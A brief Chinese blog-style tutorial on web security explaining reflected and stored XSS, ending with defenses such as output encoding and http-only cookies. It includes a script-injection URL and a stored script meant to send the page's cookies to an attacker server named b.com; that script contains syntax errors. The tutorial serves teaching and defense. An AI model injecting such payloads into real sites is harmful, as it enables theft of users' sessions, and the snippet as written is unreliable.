web安全
2017-08-21 本文已影响16人
骑着蜗牛去遛狗
XSS攻击
XSS攻击,跨站脚本攻击,这是在网站中最容易产生的攻击。原理是攻击者向存在XSS漏洞的网站输入一段攻击性代码
可以分为反射性脚本攻击和存储型脚本攻击
反射性脚本攻击
1、例子
正常脚本
www.a.com?content=aaa
页面中的展示内容为
aaa
攻击脚本
www.a.com?content=<script>alert('aaa')</script>
点击攻击脚本后就会执行script脚本中的内容
2、这种脚本是需要用户点击带有攻击性链接后发生的,影响面一般比较小
存储型脚本攻击
1、例子
比如产品评价列表,用户新增评价,在评价中录入了攻击性脚本,保存后该攻击性脚本就保存到数据库中,每个拉取评价列表的用户都会拉取到这段攻击性代码
2、盗取cookie
正常网站的域名是a.com 攻击者服务器b.com
正常网站中有一个输入框
<input type="textarea" />
攻击者在输入框中输入的代码是
<script>
var str=document.cookie;
var a=document.createElement('a');
a.href="b.com?cookie"=str;
a.innerHtml="![](/aa.png)"
document.body.append(a);
</script>
当用户拉取到代码之后,误操作点击了超谅解,就会导致本页面的cookie发送到攻击者代码
防范方法
XSS攻击的本质是太相信用户的输入,因此不要相信用户的输入,对输入进行过滤,就能够比较绝大多数的XSS攻击
- 对代码进行encode编码
- 对敏感cookie设置http-only
- 表单数据规定输入值的类型